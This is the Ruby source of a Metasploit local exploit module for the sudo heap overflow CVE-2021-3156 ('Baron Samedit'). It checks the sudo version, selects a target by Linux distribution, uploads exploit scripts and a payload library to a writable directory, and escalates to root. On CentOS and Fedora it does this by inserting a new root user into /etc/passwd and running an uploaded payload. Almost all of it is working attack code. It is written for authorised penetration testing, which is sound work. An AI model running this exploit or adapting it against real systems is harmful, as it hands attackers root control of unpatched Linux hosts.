##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/sha2'
require 'tempfile'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sudo Heap-Based Buffer Overflow',
        'Description' => %q{
          A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
          to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
          through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
          implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker
          controlled library which results in it being loaded with the elevated privileges held by sudo.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # vulnerability discovery and analysis
          'Spencer McIntyre',                  # metasploit module
          'bwatters-r7',                       # metasploit module
          'smashery',                          # metasploit module
          'blasty <blasty@fail0verflow.com>',  # original PoC
          'worawit',                           # original PoC
          'Alexander Krog'                     # detailed vulnerability analysis and exploit technique
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => ['unix', 'linux'],
        'References' => [
          ['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],
          ['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],
          ['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],
          ['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],
          ['CVE', '2021-3156'],
        ],
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 20\.04/ } ],
          [ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 20\.04/ } ],
          [ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 19\.04/ } ],
          [ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 18\.04/ } ],
          [ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 18\.04/ } ],
          [ 'Ubuntu 16.04 x64 (sudo v1.8.16, libc v2.23)', { exploit_script: 'nss_u16', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 16\.04/ } ],
          [ 'Ubuntu 14.04 x64 (sudo v1.8.9p5, libc v2.19)', { exploit_script: 'nss_u14', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 14\.04/ } ],
          [ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { exploit_script: 'nss_generic1', exploit_params: [ 64, 49, 60, 214 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
          [ 'Debian 10 x64 (sudo v1.8.27, libc v2.28) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
          [ 'CentOS 8 x64 (sudo v1.8.25p1, libc v2.28)', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^CentOS Linux release 8/ } ],
          [ 'CentOS 7 x64 (sudo v1.8.23, libc v2.17)', { exploit_script: 'userspec_c7', exploit_technique: 'userspec', version_fingerprint: /^CentOS Linux release 7/ } ],
          [ 'CentOS 7 x64 (sudo v1.8.23, libc v2.17) - alternative', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^CentOS Linux release 7/ } ],
          [ 'Fedora 27 x64 (sudo v1.8.21p2, libc v2.26)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 27/ } ],
          [ 'Fedora 26 x64 (sudo v1.8.20p2, libc v2.25)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 26/ } ],
          [ 'Fedora 25 x64 (sudo v1.8.18, libc v2.24)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 25/ } ],
          [ 'Fedora 24 x64 (sudo v1.8.16, libc v2.23)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 24/ } ],
          [ 'Fedora 23 x64 (sudo v1.8.14p3, libc v2.22)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 23/ } ],
          [ 'Manual', { exploit_script: 'nss_generic1', exploit_technique: 'nss', lib_needs_space: true } ],
        ],
        'DefaultTarget' => 0,
        'Arch' => ARCH_X64,
        'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
        'DisclosureDate' => '2021-01-26',
        'Notes' => {
          'AKA' => [ 'Baron Samedit' ],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )

    register_options([
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
    ])

    register_advanced_options([
      OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(, *| )){3}\d+/, conditions: %w[TARGET == Manual]),
      OptString.new('NewUser', [ false, 'A username to add as root (if required by exploit target)', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
      OptString.new('NewPassword', [ false, 'A password to add for NewUser (if required by exploit target)' ]),
    ])

    deregister_options('COMPILE')
  end

  # A password hash that we have confidence that we have inserted into /etc/passwd
  @inserted_password_hash = nil

  def get_versions
    versions = {}
    output = cmd_exec('sudo --version')
    if output
      version = output.split("\n").first.split(' ').last
      versions[:sudo] = version if version =~ /^\d/
    end

    versions
  end

  def check
    sudo_version = get_versions[:sudo]
    return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?

    # fixup the p number used by sudo to be compatible with Rex::Version
    sudo_version.gsub!(/p/, '.')

    vuln_builds = [
      [Rex::Version.new('1.8.2'), Rex::Version.new('1.8.31.2')],
      [Rex::Version.new('1.9.0'), Rex::Version.new('1.9.5.1')],
    ]

    if sudo_version == '1.8.31'
      # Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
      return CheckCode::Detected("sudo #{sudo_version} may be a vulnerable build.")
    end

    if vuln_builds.any? { |build_range| Rex::Version.new(sudo_version).between?(*build_range) }
      return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
    end

    CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup(path)
  end

  def get_automatic_targets
    sysinfo = get_sysinfo

    selected_targets = targets.each_index.select { |index| targets[index].opts[:version_fingerprint]&.match(sysinfo[:version]) }
    fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if selected_targets.empty?
    selected_targets
  end

  def find_exec_program
    return 'python' if command_exists?('python')
    return 'python3' if command_exists?('python3')

    return false
  end

  def exploit
    if target.name == 'Automatic'
      resolved_indices = get_automatic_targets
      resolved_target = targets[resolved_indices[0]]
      print_status("Using automatically selected target: #{resolved_target.name}")
    else
      resolved_target = target
    end

    case resolved_target[:exploit_technique]
    when 'nss'
      exploit_nss(resolved_target)
    when 'userspec'
      exploit_userspec(resolved_target)
    end

    do_post_exploit_checks
  end

  def do_post_exploit_checks
    # Just wait a bit; this should come in real fast if it's going to though
    4.times do |_i|
      Rex.sleep(0.5)
      # break if we get the shell
      break if session_created?
    end

    # Now that everything's done, if we completed the exploit but didn't get a session, inform the user if there are other options available to them
    if !session_created? && (target.name == 'Automatic') && !@inserted_password_hash
      resolved_indices = get_automatic_targets
      if resolved_indices.length > 1
        print_status('')
        print_status('Alternative exploit target(s) exist for this OS version:')
        resolved_indices[1..-1].each { |index| print_status("#{index}: #{targets[index].name}") }
        print_status('Run `set target <id>` to select an alternative exploit script')
      end
    end

    if @inserted_password_hash && !session_created?
      print_warning('/etc/passwd overwritten, but no session created.')
      print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
      print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
    end
  end

  def on_new_session(new_session)
    super
    # userspec exploits edited /etc/passwd; now that we have a root shell, we can clean that up

    if @inserted_password_hash
      # We added a line to /etc/passwd
      print_status('Cleaning up /etc/passwd')
      tf = Tempfile.new('meterp')
      tf_out = Tempfile.new('meterp')
      temp_path = tf.path
      new_session.fs.file.download_file(temp_path, '/etc/passwd')
      pw = @inserted_password_hash.to_s
      begin
        f_in = File.open(temp_path, 'rb')
        f_out = File.open(tf_out.path, 'wb')
        f_in.each_line do |line|
          unless line.include?(pw)
            f_out.write(line)
          end
        end
      ensure
        f_out.close
        f_in.close
      end

      new_session.fs.file.upload_file('/etc/passwd', tf_out.path)

      begin
        ::File.delete(temp_path)
      rescue StandardError
        nil
      end
      begin
        ::File.delete(tf_out.path)
      rescue StandardError
        nil
      end
    end
  end

  def exploit_nss(resolved_target)
    if target.name == 'Manual'
      fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
      exploit_params = datastore['Lengths'].gsub(/,/, ' ').gsub(/  +/, ' ')
    else
      exploit_params = resolved_target[:exploit_params].join(' ')
    end

    python_binary = find_exec_program

    fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary

    vprint_status("Using '#{python_binary}' to run exploit")
    exploit_script = resolved_target[:exploit_script]
    space = resolved_target[:lib_needs_space] ? ' ' : ''

    path = datastore['WritableDir']

    overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
    lib_file_path = "libnss_#{overwrite_path}#{space}.so.2" # the full path

    python_script_name = rand_text_alphanumeric(5..10) + '.py'
    upload("#{path}/#{python_script_name}", exploit_data('CVE-2021-3156', "#{exploit_script}.py"))
    register_files_for_cleanup("#{path}/#{python_script_name}")
    mkdir("#{path}/#{lib_file_path.rpartition('/').first}")
    upload("#{path}/#{lib_file_path}", generate_payload_dll)
    cmd = "#{python_binary} #{path}/#{python_script_name} #{exploit_params} #{overwrite_path} #{path}"
    vprint_status("Running #{cmd}")
    cmd_exec(cmd)
  end

  def exploit_userspec(resolved_target)
    fail_with(Failure::BadConfig, 'The "NewUser" advanced option must be specified for this target') if datastore['NewUser'].blank?

    python_binary = find_exec_program
    fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
    vprint_status("Using '#{python_binary}' to run exploit")

    exploit_script = resolved_target[:exploit_script]
    new_user = datastore['NewUser']
    new_password = datastore['NewPassword']
    new_password ||= rand_text_alpha_lower(15)

    # Verify that user doesn't already exist (otherwise exploit will succeed but password won't work)
    users = get_users
    user_exists = users.map { |u| u[:name] }.include? new_user

    fail_with(Failure::BadConfig, "#{new_user} already exists on target system") if user_exists

    password_hash = new_password.crypt('$6$' + rand(36**8).to_s(36))

    path = datastore['WritableDir']

    python_script_name = rand_text_alphanumeric(5..10) + '.py'
    upload("#{path}/#{python_script_name}", exploit_data('CVE-2021-3156', "#{exploit_script}.py"))
    register_files_for_cleanup("#{path}/#{python_script_name}")
    cmd = "#{python_binary} #{path}/#{python_script_name} #{new_user} '#{password_hash}'"
    vprint_status("Running #{cmd}")
    print_status("A successful exploit will create a new root user #{new_user} with password #{new_password}")
    print_status('Brute forcing ASLR (can take several minutes)...')
    output = cmd_exec(cmd, nil, 600)
    if /Success at/ =~ output
      @inserted_password_hash = password_hash
      print_good("Success! Created new user #{new_user} with password #{new_password}")
      elf_name = rand_text_alphanumeric(5..10)
      uploaded_path = "#{path}/#{elf_name}"
      upload(uploaded_path, generate_payload_exe)
      chmod(uploaded_path, 0o555)
      cmd_exec("/bin/bash -c \"echo #{new_password} | su #{new_user} -c #{uploaded_path}&\"")
    elsif /Brute force failed/ =~ output
      print_error('Brute force failed. This can occur 2% of the time even when vulnerable.')
    else
      print_error('Exploit failed - unlikely to succeed')
    end
  end

  def rand_overwrite_path
    length = 6
    split_pos = rand(length)
    "#{rand_text_alphanumeric(split_pos)}/#{rand_text_alphanumeric(length - split_pos)}"
  end
end
